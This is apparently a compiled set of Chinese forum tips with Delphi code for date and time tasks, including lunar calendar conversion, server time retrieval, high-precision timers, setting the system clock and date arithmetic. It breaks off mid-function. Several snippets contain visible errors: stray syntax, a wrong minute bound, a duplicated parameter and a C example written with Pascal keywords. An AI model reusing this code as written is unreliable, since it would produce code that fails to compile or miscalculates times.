* 第七位數字為閏月天數 *

* 0 : 沒有閏月之天數 *

* 1 : 閏月為小月(29天) *

* 2 : 閏月為大月(30天) *

* 最後2位數字代表陽曆之1月1日與陰曆之1月1日相差天數 *

***************************************************************************

這對映表只有民國一年至民國一百年, 如不敷您的使用請按照上述之方式自行增加.

這個程式沒有判斷您所輸入之年,月,日是否正確, 請自行判斷.

如果轉換出來之農曆的月份是閏月則傳給您的值是***負數***

如果農曆要轉換國曆如果是閏月請輸入***負數***

此版本為FreeWare Version : 0.1

您可以自行修改, 但最好可以將修改過之程式Mail一份給我.

如果您要用於商業用途, 請mail給我告知您的用途及原因.

作者 : 彭宏傑

E-Mail : rexpeng@ms1.hinet.net

}

unit Lunar;

interface

uses SysUtils;

//國曆轉農曆(民國年, 月, 日, var 農曆年, 農曆月, 農曆日)

procedure Solar2Lunar(SYear, SMonth, SDay : Integer; Var LYear, LMonth, LDay : Integer);

//農曆轉國曆(農曆年, 農曆月, 農曆日, var 民國年, 月, 日)

procedure Lunar2Solar(LYear, LMonth, LDay : Integer; Var SYear, SMonth, SDay : Integer);

//輸入農曆年份換算六十甲子名稱

function YearName(LYear : integer) : string;

//得知農曆之月份天數

function DaysPerLunarMonth(LYear, LMonth : Integer) : Integer;

implementation

const

SMDay : array[1..12] of integer = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

c1 : array[1..10] of string[2] = ('甲', '乙', '丙', '丁', '戊', '己', '庚', '辛', '壬', '癸');

c2 : array[1..12] of string[2] = ('子', '丑', '寅', '卯', '辰', '巳', '午', '未', '申', '酉', '戌', '亥');

// Magic String :

LongLife : array[1..111] of string[9] = (

'132637048', '133365036', '053365225', '132900044', '131386034', '022778122', //6

'132395041', '071175231', '131175050', '132635038', '052891127', '131701046', //12

'131748035', '042741223', '130694043', '132391032', '021327122', '131175040', //18

'061623129', '133402047', '133402036', '051769125', '131453044', '130694034', //24

'032158223', '132350041', '073213230', '133221049', '133402038', '063466226', //30

'132901045', '131130035', '042651224', '130605043', '132349032', '023371121', //36

'132709040', '072901128', '131738047', '132901036', '051333226', '131210044', //42

'132651033', '031111223', '131323042', '082714130', '133733048', '131706038', //48

'062794127', '132741045', '131206035', '042734124', '132647043', '131318032', //54

'033878120', '133477039', '071461129', '131386047', '132413036', '051245126', //60

'131197045', '132637033', '043405122', '133365041', '083413130', '132900048', //66

'132922037', '062394227', '132395046', '131179035', '042711124', '132635043', //72

'102855132', '131701050', '131748039', '062804128', '132742047', '132359036', //78

'051199126', '131175045', '131611034', '031866122', '133749040', '081717130', //84

'131452049', '132742037', '052413127', '132350046', '133222035', '043477123', //90

'133402042', '133493031', '021877121', '131386039', '072747128', '130605048', //96

'132349037', '053243125', '132709044', '132890033', '042986122', '132901040', //102

'091373130', '131210049', '132651038', '061303127', '131323046', '132707035', //108

'041941124', '131706042', '132773031'); //111

var

LMDay : array[1..13] of integer;

InterMonth, InterMonthDays, SLRangeDay : integer;

function IsLeapYear(AYear: Integer): Boolean;

begin

Result := (AYear mod 4 = 0) and ((AYear mod 100 <> 0) or (AYear mod 400 = 0));

end;

function YearName(LYear : integer) : string;

var

x, y, ya : integer;

begin

ya := LYear;

if ya < 1 then

ya := ya + 1;

if ya < 12 then

ya := ya + 60;

x := (ya + 8 - ((ya + 7) div 10) * 10);

y := (ya - ((ya-1) div 12) * 12);

result := c1[x]+c2[y];

end;

procedure CovertLunarMonth(magicno : integer);

var

i, size, m : integer;

begin

m := magicno;

for i := 12 downto 1 do begin

size := m mod 2;

if size = 0 then

LMDay[i] := 29

else

LMDay[i] := 30;

m := m div 2;

end;

end;

procedure ProcessMagicStr(yy : integer);

var

magicstr : string;

dsize, LunarMonth : integer;

begin

magicstr := LongLife[yy];

InterMonth := StrToInt(Copy(magicstr, 1, 2));

LunarMonth := StrToInt(copy(magicstr, 3, 4));

CovertLunarMonth(LunarMonth);

dsize := StrToInt(Copy(magicstr, 7, 1));

case dsize of

0 : InterMonthDays := 0;

1 : InterMonthDays := 29;

2 : InterMonthDays := 30;

end;

SLRangeDay := StrToInt(Copy(Magicstr, 8, 2));

end;

function DaysPerLunarMonth(LYear, LMonth : Integer) : Integer;

begin

ProcessMagicStr(LYear);

if LMonth < 0 then

Result := InterMonthDays

else

Result := LMDay[LMonth];

end;

procedure Solar2Lunar(SYear, SMonth, SDay : integer; var LYear, LMonth, LDay : integer);

var

i, day : integer;

begin

day := 0;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

ProcessMagicStr(SYear);

if SMonth = 1 then

day := SDay

else begin

for i := 1 to SMonth-1 do

day := day + SMDay[i];

day := day + SDay;

end;

if day <= SLRangeDay then begin

day := day - SLRangeDay;

processmagicstr(SYear-1);

for i := 12 downto 1 do begin

day := day + LMDay[i];

if day > 0 then

break;

end;

LYear := SYear - 1;

LMonth := i;

LDay := day;

end else begin

day := day - SLRangeDay;

for i := 1 to InterMonth-1 do begin

day := day - LMDay[i];

if day <= 0 then

break;

end;

if day <= 0 then begin

LYear := SYear;

LMonth := i;

LDay := day + LMDay[i];

end else begin

day := day - LMDay[InterMonth];

if day <= 0 then begin

LYear := SYear;

LMonth := InterMonth;

LDay := day + LMDay[InterMonth];

end else begin

LMDay[InterMonth] := InterMonthDays;

for i := InterMonth to 12 do begin

day := day - LMDay[i];

if day <= 0 then

break;

end;

if i = InterMonth then

LMonth := 0 - InterMonth

else

LMonth := i;

LYear := SYear;

LDay := day + LMDay[i];

end;

end;

end;

end;

procedure Lunar2Solar(LYear, LMonth, LDay : integer; var SYear, SMonth, SDay : integer);

var

i, day : integer;

begin

day := 0;

SYear := LYear;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

processmagicstr(SYear);

if LMonth < 0 then

day := LMDay[InterMonth];

if LMonth <> 1 then

for i := 1 to LMonth-1 do

day := day + LMDay[i];

day := day + LDay + SLRangeDay;

if (InterMonth <> 13) and (InterMonth < LMonth) then

day := day + InterMonthDays;

for i := 1 to 12 do begin

day := day - SMDay[i];

if day <= 0 then

break;

end;

if day > 0 then begin

SYear := SYear + 1;

if isLeapYear(SYear+1911) then

SMDay[2] := 29;

for i := 1 to 12 do begin

day := day - SMDay[i];

if day <= 0 then

break;

end;

end;

//i := i - 1;

day := day + SMDay[i];

//if i = 0 then begin

// i := 12;

// SYear := SYear - 1;

// day := day + 31;

//end;// else

//day := day + SMDay[i];

SMonth := i;

SDay := day;

end;

end.


取得服务器的时间
NTRemote DateTime:

部分关键代码:

PTime_Of_Day_Info = ^TTime_Of_Day_Info;

TTime_Of_Day_Info = record

tod_elapsedt :Integer;

tod_msecs :Integer;

tod_hours :Integer;

tod_mins :Integer;

tod_secs :Integer;

tod_hunds :Integer;

tod_timezone :LongInt;

tod_tinterval :Integer;

tod_day :Integer;

tod_month :Integer;

tod_year :Integer;

tod_weekday :Integer;

end;

function NetRemoteTOD(ServerName :PWideChar;

var buffer :pointer) :Integer; stdcall; external 'netapi32.dll';

function NetApiBufferFree(buffer : Pointer) :Integer; stdcall; external 'netapi32.dll';

function TNTRemoteDateTime.GetTOD(ServerName: WideString): Integer;

var Buffer :pointer;

Rek :PTime_Of_Day_Info;

ADate :TDateTime;

ATime :TDateTime;

FinalTime :TDateTime;

THours,

TMins,

TSecs,

TMSecs :Word;

TYear,

TMonth,

TDay :Word;

begin

result:=NetRemoteTOD(PWideChar(ServerName),

Buffer);

if result=0 then

begin

Rek:=PTime_Of_Day_Info(Buffer);

FServerName :=ServerName;

FElapseDt :=Rek.tod_elapsedt;

FMSecs :=Rek.tod_msecs;

FHours :=Rek.tod_hours;

FMins :=Rek.tod_mins;

FSecs :=Rek.tod_secs;

FHunds :=Rek.tod_hunds;

FTInterval :=Rek.tod_tinterval;

If Rek.tod_timezone <> -1 then

begin

FTimeZone:=Rek.tod_timezone div 60;

end

else

FTimeZone:=0;

FDay :=Rek.tod_day;

FMonth :=Rek.tod_month;

FYear :=Rek.tod_year;

FWeekDay :=Rek.tod_weekday;

ADate:=EncodeDate(FYear, FMonth, FDay);

ATime:=EnCodeTime(FHours, FMins, FSecs, FHunds);

FinalTime:=StrToDateTime(DateTimeToStr(ADate) + ' ' + TimeToStr(ATime));

FinalTime:=FinalTime - (FTimeZone / 24);

decodetime(FinalTime,THours, TMins,TSecs, TSecs);

FHours:=Integer(THours);

decodeDate(FinalTime,TYear, TMonth,TDay);

FYear:=Integer(TYear);

FMonth:=Integer(TMonth);

FDay:=Integer(TDay);

end;

NetApiBufferFree(Buffer);

end;


给出日期，如何知道是这一年的第几周？
function WeekofYear(Date: TDate): integer;

var

FirstDay, FirstWeekEnd, NowWeekEnd: TDate;

Year, Month, Day: word;

begin

DecodeDate(Date, Year, Month, Day);

FirstDay := EncodeDate(Year, 1, 1);

FirstWeekEnd := FirstDay + 7 - DayofWeek(FirstDay);

NowWeekEnd := Date + 7 - DayofWeek(Date);

Result := Round(NowWeekEnd - FirstWeekEnd) div 7 + 1;

end;


处理时间格式的一些技巧
如何处理千年虫？如何做到不依赖系统的时间设置？

在Delphi中，有一些全局变量：

DateSeparator := '-';///指定时间分隔符

ShortDateFormat:='yyyy-mm-dd';///指定短日期格式

TwoDigitYearCenturyWindow:=70;///指定时间的偏移

我们知道，两位数的年份，最多能够表示99年，因此才会有千年虫问题，Delphi提供了TwoDigitYearCenturyWindow，可以作为解决的手段。比如将它设为60，它的含义就是将今年的年份前溯60年作为时间窗起点，也就是变换时间窗为1939-2038。

FormatDateTime('ampm hh:mm:ss',Now); = '上午/下午 10:30:59'


精确到毫秒
GetTickCount肯定是不行，最小分辨率也在2-3毫秒

QueryPerformanceFrequency，QueryPerformanceCounter似乎也不太好用，计算过于复杂，速度可能达不到

timeGetTime


日期前加上5年,或者5个月,怎样加
decodedate(date,year,month,day);

date:=encodedate(year+5, month, day);


午夜开始到现在经过的秒数的函数
计算机已经正常运行了多久的时间？

FunCtion GetSec:double ;

Var

DT,DT0:TdateTime ;

Systime:TSystemTime;

begin

GetLocalTime(SysTime) ;

DT := SystemTimeToDateTime(SysTime) ;

with Systime do

begin

whour := 0;

wminute := 0;

wsecond := 0;

wMilliseconds := 0 ;

end ;

DT0 := SystemTimeToDateTime(Systime) ;

Result:= (DT - DT0)*24*60*60 ;

end ;

****************************

计算机已经正常运行了多久的时间？

function UpTime: string;

const

ticksperday : Integer = 1000 * 60 * 60 * 24;

ticksperhour : Integer = 1000 * 60 * 60;

ticksperminute : Integer = 1000 * 60;

tickspersecond : Integer = 1000;

var

t : Longword;

d, h, m, s : Integer;

begin

t := GetTickCount;

d := t div ticksperday;

Dec(t, d * ticksperday);

h := t div ticksperhour;

Dec(t, h * ticksperhour);

m := t div ticksperminute;

Dec(t, m * ticksperminute);

s := t div tickspersecond;

Result := 'Uptime: ' + IntToStr(d) + ' Days ' + IntToStr(h) + ' Hours ' + IntToStr(m) +

' Minutes ' + IntToStr(s) + ' Seconds';

end;


TimeSetEvent
精确计时

{

The timeSetEvent function starts a specified timer event.

The multimedia timer runs in its own thread. After the event is activated,

it calls the specified callback function or sets or pulses the spe

cified event object.

MMRESULT timeSetEvent(

UINT uDelay,

UINT uResolution,

LPTIMECALLBACK lpTimeProc,

DWORD_PTR dwUser,

UINT fuEvent

);

uDelay:

Event delay, in milliseconds

uResolution:

Resolution of the timer event, in milliseconds.

A resolution of 0 indicates periodic events should occur with the

greatest possible accuracy.

You should use the use the maximum value appropriate to reduce system overhead.

fuEvent:

TIME_ONESHOT Event occurs once, after uDelay milliseconds.

TIME_PERIODIC Event occurs every uDelay milliseconds.

}

uses

MMSystem;

var

mmResult: Integer;

// callback function

procedure TimeCallBack(TimerID, Msg: Uint; dwUser, dw1, dw2: DWORD); pascal;

begin

// Do something here. This procedure will be executed each 10 ms

Form1.Label1.Caption := Form1.Label1.Caption + '%';

end;

// Set a new timer with a delay of 10 ms

procedure TForm1.Button1Click(Sender: TObject);

begin

mmResult := TimeSetEvent(10, 0, @TimeCallBack, 0, TIME_PERIODIC);

end;

// Cancel the timer event.

procedure TForm1.FormDestroy(Sender: TObject);

begin

TimeKillEvent(mmResult);

end;


修改系统的日期格式
var

str: string;

begin

str := RadioGroup1.Items.Strings[RadioGroup1.ItemIndex];

if SetLocaleInfoa(LOCALE_SYSTEM_DEFAULT, LOCALE_SSHORTDATE , PChar(str)) then

begin

showmessage('short OK!');

then

SendMessageA(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0);

end;

end;

为了方便测试我用了radioGroup,items 内容如下

yy-d-m

d-yy-m

m-d-yy

yy-m-d

yyyy-m-d

yyyy-d-m

传进参数必须 null-terminate 字符串指针。我用 pchar ,而且字符串格式只能写成这样 'm-d'而不是'mm-dd'('yyyy'可以用),不然改不了另外delphi 函数 DateTostr,DateTimeTostr,都调用短格式。

长格式很灵活。随便改.RadioGroup Items 如下

yyy'年'dd'日'-mm

d-yyyy-mm

mm-dd-yyyy

yyyy-mm-dd

代码如下

var

str: string;

begin

str := RadioGroup2.Items.Strings[RadioGroup2.ItemIndex];

if SetLocaleInfoa(LOCALE_SYSTEM_DEFAULT, LOCALE_SLONGDATE , PChar(str)) then

begin

showmessage('Loan OK!');

SendMessageA(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0);

end;

end;

//

你应该搜索一下，有着方面的讨论。


计算时间差的函数
网际凡人 <nbwsj@263.net>

function ToTime(DateTime:TDateTime;day,hour,minute,second:{加减

量}integer):TDateTime;

{给出一个具体时间，减去天数或小时、分钟、秒钟，即得到新时间}

var

hh,mm,ss,ms:word;

hx,mx,sx:integer; {时间中间值}

dt:TDate;

begin

dt :=DateTime;

DecodeTime(DateTime,hh,mm,ss,ms);

hx:=hh;

mx:=mm;

sx:=ss;

{秒}

sx:=sx+second;

if sx<0 then

begin

minute :=minute + (sx div 60)-1;

sx :=60 +(sx mod 60);

end

else if sx>=60 then

begin

minute :=minute+(sx div 60);

sx :=sx mod 60;

end;

{分}

mx :=mx+minute;

if mx<0 then

begin

hour :=hour+(mx div 60)-1;

mx :=60+(mx mod 60);

end

else if mx>=24 then

begin

hour :=hour+(mx div 60);

mx :=mx mod 60;

end;

{时}

hx :=hx+hour;

if hx<0 then

begin

day :=day+(hx div 24)-1;

hx :=24+(hx mod 24);

end

else if hx>=24 then

begin

day :=day+(hx div 24);

hx :=hx mod 24;

end;

{天}

dt :=dt+day;

DateTime :=StrToDateTime(DateToStr(dt)+' '+IntToStr(hx)+':'+IntToStr(mx)+

':'+IntToStr(sx)+':');

Result :=DateTime;

end;

这是尚在编制中的源码，求两个时间差：天数、小时、分钟等。

各位有兴趣，可自己编个函数！

procedure TForm1.Button3Click(Sender: TObject);

var

day,hour,minute,second,h,m,s:integer;

hh1,mm1,ss1,ms1,hh2,mm2,ss2,ms2:word;

dt1,dt2:TDateTime;

begin

{两个时间差}

dt1 :=StrToDateTime(Edit1.text);

dt2 :=StrToDatetime(Edit2.text);

DecodeTime(dt1,hh1,mm1,ss1,ms1);

DecodeTime(dt2,hh2,mm2,ss2,ms2);

day:=dt1-dt2; file://就日期不能相差，怎么办？

h:=hh1;

m:=mm1;

s:=ss1;

if s<ss2 then

begin

m:=m-1;

s:=s+60;

end;

second :=s-ss2;

if m<mm2 then

begin

h:=h-1;

m:=m+60;

end;

minute :=m-mm2;

if h<hh2 then

begin

day :=day-1;

h:=h+24;

end;

hour :=h-hh2;

edit3.Text :='相差'+IntToStr(day)+'天'+IntToStr(Hour)+'小时'+

IntToStr(minute)+'分'+IntToStr(Second)+'秒';

end;


精确计数器
利用delphi建立精确计数器

在windows中的很多场合下编程（例如工业控制、游戏）中需要比较精确的记时器，本文讨论的是在delphi下实现记时器的若干方法以及它们的精度控制问题。

在delphi中最常用的是timer控件，它的设置和使用都非常方便，理论上它的记时精度可以达到1ms(毫秒)。但是众所周知的，实际上timer在记时间隔小于50ms之下是精度是十分差的。它只适用于对于精度要求不太高的场合。

这里作者要介绍的是两种利用windows api函数实现精确记时的方法。第一中方法是利用高性能频率记数（作者本人的称呼）法。利用这种方法要使用两个api函数queryperformancefrequency和queryperformancecounter。queryperformancefrequency函数获得高性能频率记数器的震荡频率。

调用该函数后，函数会将系统频率记数器的震荡频率（每毫秒）保存到一个largeinteger中。不过利用该函数在几台机器上做过试验，结果都是1193180。读者朋友可以在自己的机器上试一下

queryperformancecounter函数获得系统频率记数器的震荡次数，结果也保存到一个largenteger中。

很显然，如果在计时中首先使用queryperformancefrequency获得高性能频率记数器每毫秒的震荡次数，然后在计时开始时使用queryperformancecounter函数获得当前系统频率记数器的震荡次数。在计时结束时再调用queryperformancecounter函数获得系统频率记数器的震荡次数。将两者相减，再将结果除以频率记数器每毫秒的震荡次数，就可以获得某一事件经过的准确时间。(次数除以频率等于时间)

另外的一种精确记时器的功能是利用多媒体记时器函数（这也是作者的定义，因为这个系列的函数是在winmm.dll中定义并且是为媒体播放服务的）。

实现多媒体记时器首先要使用timesetevent函数建立计时事件。该函数在delphi中的mmsystem.pas中有定义，定义如下：

function timesetevent(udelay, uresolution: uint;

lpfunction: tfntimecallback; dwuser: dword; uflags: uint): mmresult; stdcall

函数定义中参数udelay定义延迟时间，以毫秒为单位，该参数相当于timer控件的interval属性。参数uresolution定义记时精度，如果要求尽可能高的精度，要将该参数设置为0；参数lpfunction定义了timesetevent函数的回调函数。该函数相当于一个定时中断处理函数，每当经过一个udelay长度的时间间隔，该函数就会被调用，编程者可以在该函数中加入相应的处理语句。参数dwuser定义用户自定义的回调值，该值将传递给回调函数。参数uflags定义定时类型，如果要不间断的记时，该值应设置为1。

如果函数调用成功，在系统中建立了一个多媒体记时器对象，每当经过一个udelay时间后lpfunction指定的函数都会被调用。同时函数返回一个对象标识，如果不再需要记时器则必须要使用timekillevent函数删除记时器对象。

由于windows是一个多任务的操作系统，因此基于api调用的记时器的精度都会受到其它很多因素的干扰。到底这两中记时器的精度如何，我们来使用以下的程序进行验证：

设置三种记时器（timer控件、高性能频率记数、多媒体记时器）。将它们的定时间隔设置为10毫秒，让它们不停工作直到达到一个比较长的时间（比如60秒），这样记时器的误差会被累计下来，然后同实际经过的时间相比较，就可以得到它们的精度。

下面是具体的检测程序。

unit unit1;

interface

uses

windows, messages, sysutils, classes, graphics, controls, forms, dialogs,stdctrls, extctrls,mmsystem;

type

tform1 = class(tform)

edit1: tedit;

edit2: tedit;

edit3: tedit;

button1: tbutton;

button2: tbutton;

timer1: ttimer;

procedure formcreate(sender: tobject);

procedure button1click(sender: tobject);

procedure timer1timer(sender: tobject);

procedure button2click(sender: tobject);

private

{ private declarations }

public

{ public declarations }

end;

var

form1: tform1;

acttime1,acttime2:cardinal;

smmcount,stimercount,spcount:single;

htimeid:integer;

iten:integer;

protimecallback:tfntimecallback;

procedure timeproc(utimerid, umessage: uint; dwuser, dw1, dw2: dword) stdcall;

procedure proendcount;

implementation

{$r *.dfm}

//timesetevent的回调函数

procedure proendcount;

begin

acttime2:=gettickcount-acttime1;

form1.button2.enabled :=false;

form1.button1.enabled :=true;

form1.timer1.enabled :=false;

smmcount:=60;

stimercount:=60;

spcount:=-1;

timekillevent(htimeid);

end;

procedure timeproc(utimerid, umessage: uint;dwuser, dw1, dw2: dword) stdcall;

begin

form1.edit2.text:=floattostr(smmcount);

smmcount:=smmcount-0.01;

end;

procedure tform1.formcreate(sender: tobject);

begin

button1.caption :='开始倒计时';

button2.caption :='结束倒计时';

button2.enabled :=false;

button1.enabled :=true;

timer1.enabled :=false;

smmcount:=60;

stimercount:=60;

spcount:=60;

end;

procedure tform1.button1click(sender: tobject);

var

lgtick1,lgtick2,lgper:tlargeinteger;

ftemp:single;

begin

button2.enabled :=true;

button1.enabled :=false;

timer1.enabled :=true;

timer1.interval :=10;

protimecallback:=timeproc;

htimeid:=timesetevent(10,0,protimecallback,1,1);

acttime1:=gettickcount;

//获得系统的高性能频率计数器在一毫秒内的震动次数

queryperformancefrequency(lgper);

ftemp:=lgper/1000;

iten:=trunc(ftemp*10);

queryperformancecounter(lgtick1);

lgtick2:=lgtick1;

spcount:=60;

while spcount>0 do begin

queryperformancecounter(lgtick2);

//如果时钟震动次数超过10毫秒的次数则刷新edit3的显示

if lgtick2 - lgtick1 > iten then begin

lgtick1 := lgtick2;

spcount := spcount - 0.01;

edit3.text := floattostr(spcount);

application.processmessages;

end;

end;

end;

procedure tform1.timer1timer(sender: tobject);

begin

edit1.text := floattostr(stimercount);

stimercount:=stimercount-0.01;

end;

procedure tform1.button2click(sender: tobject);

begin

proendcount;

//显示从开始记数到记数实际经过的时间

showmessage('实际经过时间'+inttostr(acttime2)+'毫秒');

end;

end.

运行程序，点击“开始倒记时”按钮，程序开始60秒倒记时，由于上面的程序只涉及了记时器程序的原理而没有将错误处理加入其中，所以不要等60秒倒记时结束。点击“结束倒记时”按钮可以结束倒记时。这时在弹出对话框中会显示实际经过的时间（单位为毫秒），将三个文本框内的时间乘以1000再加上实际经过的时间，越接近60000，则记时精度越高。

下面是在我的机器上的执行结果。

从上面的结果看，由delphi的timer控件建立的记时器的精度十分差，无法在实际中使用，而利用高性能频率记数法和多媒体计数器法的误差都在1%以下。考虑到程序中在文本框中显示时间对程序所造成的影响，这个误差在应用中是完全可以忽略的。

另外在运行程序时作者还发现一个问题，如果在倒记时时拖动窗口，文本框中的显示都会停止，而当停止窗口拖放后，多媒体记时器显示会跳过这段时间记时，而其它两种记时器显示倒记时却还是从原来的时间倒数。这说明多媒体记时器是在独立的线程中运行的，不会受到程序的影响。

综合上面的介绍和范例，我们可以看到，如果要建立高精度的记时器，使用多媒体记时器是比较好的选择。而高性能频率记数法比较适合计算某个耗时十分短的过程所消耗的时间（例如分析程序中某个被多次调用的程序段执行时间以优化程序），因为毕竟高性能频率记数的理论可以达到微秒级别。timer控件虽然精度比上面两者差很多，但是它使用方便，在要求不高的场合它还是最佳选择。

（最后要说的是，以上的结果都是在windows 9x下获得的，作者在windows 2000下运行该程序时发现，timer控件的精度比在windows 9x下要高出很多，一般误差在5%以下，这说明windows 2000是一个真正的多任务操作系统。再加上windows nt2000的稳定性和易用性，在工业控制或实时检测等领域是一个比较完美的平台）


WIN9X中读取时钟函数的纠正
WIN9X中读取时钟函数的重大错误(1999.08.16)

在编写Y2K测试程序时我们使用GetLocalTime来读取当前时间，意外地发现在WIN95，WIN98中当一天的23:59:59过渡到第二天的零点时，GetLocalTime可能会返回错误的日期，错误的日期和时间表明又回到了一天的开始。虽然这是一个小概率事件，但对于需要24小时不间断运行的时间关键性应用却是不可忽视的错误。

分析WIN9X可知GetLocalTime仅使用两次DOS调用分别取日期和时间，没有做必要的校验，若正好在两次DOS调用间发生日期过渡就将出现GetLocalTime返回的日期为前一天的错误。

经我们测试GetSystemTime在WINNT4下没有类似问题。在Microsoft更正前可用下面的代码避免WIN9X可能出现的错误:

DELPHI:

procedure MyGetLocalTime(var LocalTime:TSYSTEMTIME);

begin

GetLocalTime(LocalTime);

if (LocalTime.wHour+LocalTime.wMinute+LocalTime.wSecond)=0 then

GetLocalTime(LocalTime);

end;

C:

void MyGetLocalTime(LPSYSTEMTIME lpSystemTime)

{

GetLocalTime(lpSystemTime);

if (lpSystemTime->wHour+lpSystemTime->wMinute+lpSystemTime->wSecond)=0

then

GetLocalTime(lpSystemTime);

}


时间相减如何得到秒数
相减的结果

function DiffTimeToSec(const DS,DE:TDateTime):integer;

const

SCALE=24*60*60;

begin

Result :=Round((DE-DS)*SCALE);

end;

试一试以下代码：

procedure TForm1.Button1Click(Sender: TObject);

var

dtr,dts,dte : TDateTime;

min : double;

begin

dts :=strtodatetime('2000-11-9 12:30');

dte :=strtodatetime('2000-11-9 11:30');

dtr :=dte-dts;

min :=dtr*24*60*60;

showmessage(floattostr(min))

end;


时间或日期的相减
var

time1,time2,time3:TDatetime;

h,m,s:integer;

begin

time3:=time1-time2;

decodetime(time3,h,m,s);

result:=h*3600+m*60+s;

end;


从服务器取得时间
NetRemoteTOD：

type

TIME_OF_DAY_INFO=record

tod_elapsedt:DWORD;

tod_msecs:dword;

tod_hours:dword;

tod_mins:dword;

tod_secs:dword;

tod_hunds:dword;

tod_timezone:longint;

tod_tinterval:dword;

tod_day:dword;

tod_month:dword;

tod_year:dword;

tod_weekday:dword;

end;

procedure NetRemoteTOD(UncServerName:lptstr;var BufferPtr:TIME_OF_DAY_INFO);stdcall;external 'netapi.dll';

如果第一个参数为Nil，则从本地机器取得时间。

只能在NT上面使用！


同步SQL服务器时间
procedure AnsyTime(const DatabaseName:string);

var

td: _SYSTEMTIME;

ft: FILETIME;

begin

{ DONE -oKingron -cOther : 同步服务器时间 }

with TQuery.Create(Self) do

try

DatabaseName:=DatabaseName;

SQL.Clear;

SQL.Text := 'select td=getdate()';

Open;

DateTimeToSystemTime(FieldByName('td').AsDateTime, td);

SystemTimeToFileTime(td,ft);

LocalFileTimeToFileTime(ft,ft);

FileTimeToSystemTime(ft,td);

SetSystemTime(td);

finally

Free;

end;

end;


获取当前用户的时区与GMT的差
function GetTimeZoneDelta: TDateTime;

var

TzInfo: TTimeZoneInformation;

begin

case GetTimeZoneInformation(TzInfo) of

TIME_ZONE_ID_UNKNOWN: Result := TzInfo.Bias / 1440;

TIME_ZONE_ID_STANDARD: Result := (TzInfo.Bias + TzInfo.StandardBias) /

1440;

TIME_ZONE_ID_DAYLIGHT: Result := (TzInfo.Bias + TzInfo.DayLightBias) /

1440;

else

RaiseLastWin32Error;

end;

end;

function CurGmtToLocalMinutesOffset: integer;

var t1,g2,t3: tDateTime;

begin

t3 := Now;

Repeat

t1 := t3;

g2 := CurGmt;

t3 := Now;

Until abs(t1-t3) < 1/24/60/4;

Result := round((t3-g2)*24*60);

end;

function CurGMT: TDateTime;

var TimeRec: TSystemTime;

begin

GetSystemTime(TimeRec);

Result := SystemTimeToDateTime(TimeRec);

end;


给定秒转化成hh:mm:ss
把秒数转换成hh:mm:ss格式

function SecondToTime(a:integer):string;

begin

result:=timetostr(a/86400);

end;

或者：

Format('%-.2d:%-.2d:%-.2d', [FTime div 3600, (FTime mod 3600) div 60,FTime mod 60]);

function ConvertSecondsToTime(iSeconds: Word): TDateTime;

var

Hour, Min, Sec: Word;

begin

Hour := iSeconds div 3600;

Min := (iSeconds div 60) mod 60;

Sec := iSeconds mod 60;

Result := EncodeTime(Hour, Min, Sec, 0);

end;

function SecToDateTime(Sec: LongWord):Double;

begin

Result:=(Sec/SecsPerDay);

end;


设置系统时间
设置系统时间 change the system time?

{1.}

{

For Windows 9X/ME/NT/2000/XP:

The SetLocalTime function fails if the calling process does not have

the SE_SYSTEMTIME_NAME privilege. This privilege is disabled by default.

Use the AdjustTokenPrivileges function to enable this privilege.

}

function SetPCSystemTime(dDateTime: TDateTime): Boolean;

const

SE_SYSTEMTIME_NAME = 'SeSystemtimePrivilege';

var

hToken: THandle;

ReturnLength: DWORD;

tkp, PrevTokenPriv: TTokenPrivileges;

luid: TLargeInteger;

dSysTime: TSystemTime;

begin

Result := False;

if (Win32Platform = VER_PLATFORM_WIN32_NT) then

begin

if OpenProcessToken(GetCurrentProcess,

TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then

begin

try

if not LookupPrivilegeValue(nil, SE_SYSTEMTIME_NAME, luid) then Exit;

tkp.PrivilegeCount := 1;

tkp.Privileges[0].luid := luid;

tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

if not AdjustTokenPrivileges(hToken, False, tkp, SizeOf(TTOKENPRIVILEGES),

PrevTokenPriv, ReturnLength) then

Exit;

if (GetLastError <> ERROR_SUCCESS) then

begin

raise Exception.Create(SysErrorMessage(GetLastError));

Exit;

end;

finally

CloseHandle(hToken);

end;

end;

end;

DateTimeToSystemTime(dDateTime, dSysTime);

Result := Windows.SetLocalTime(dSysTime);

end;

{************************************************************}

{2.}

procedure TForm1.Button1Click(Sender: TObject);

var

SystemTime: TSystemTime;

NewTime, NewDate: string;

begin

NewTime := '13:58:00';

NewDate := '02.02.2001'; // or '02/02/01'

DateTimeToSystemTime(StrToDate(NewDate) + StrToTime(NewTime), SystemTime);

SetLocalTime(SystemTime);

// Tell windows, that the Time changed!

PostMessage(HWND_BROADCAST, WM_TIMECHANGE, 0, 0); // *

end;

{

Windows 2000 and later: An application should not broadcast

the WM_TIMECHANGE message because the system will broadcast

this message when the application changes the system time.

}

{************************************************************}

{3.}

function SetSystemTime(DateTime: TDateTime): Boolean;

{ (c) by UNDO }

var

tSetDati: TDateTime;

vDatiBias: Variant;

tTZI: TTimeZoneInformation;

tST: TSystemTime;

begin

GetTimeZoneInformation(tTZI);

vDatiBias := tTZI.Bias / 1440;

tSetDati := DateTime + vDatiBias;

with tST do

begin

wYear := StrToInt(FormatDateTime('yyyy', tSetDati));

wMonth := StrToInt(FormatDateTime('mm', tSetDati));

wDay := StrToInt(FormatDateTime('dd', tSetDati));

wHour := StrToInt(FormatDateTime('hh', tSetDati));

wMinute := StrToInt(FormatDateTime('nn', tSetDati));

wSecond := StrToInt(FormatDateTime('ss', tSetDati));

wMilliseconds := 0;

end;

Result := Windows.SetSystemTime(tST);

end;

{************************************************************}


日期是否改变？
利用下面的代码，我们可以在日期变化的时候，把日期修改回来！

只要在我们的窗体处理过程里面添加处理WM_TIMECHANGE的代码即可。

type

TForm1 = class(TForm)

private

procedure WMTimeChange(var Msg: TMessage); message WM_TIMECHANGE;

end;


指定月的最后一天？
下面的函数返回指定日期的所在月的最后一天的日期：

function LastDayOfMonth(Dat: TDate): TDate;

var

D, M, Y : Word;

begin

DecodeDate(IncMonth(Dat, 1), Y, M, D);

Result := EncodeDate(Y, M, 1) - 1;

end;


延时指定时间
// 1. Delay

procedure Delay(dwMilliseconds: Longint);

var

iStart, iStop: DWORD;

begin

iStart := GetTickCount;

repeat

iStop := GetTickCount;

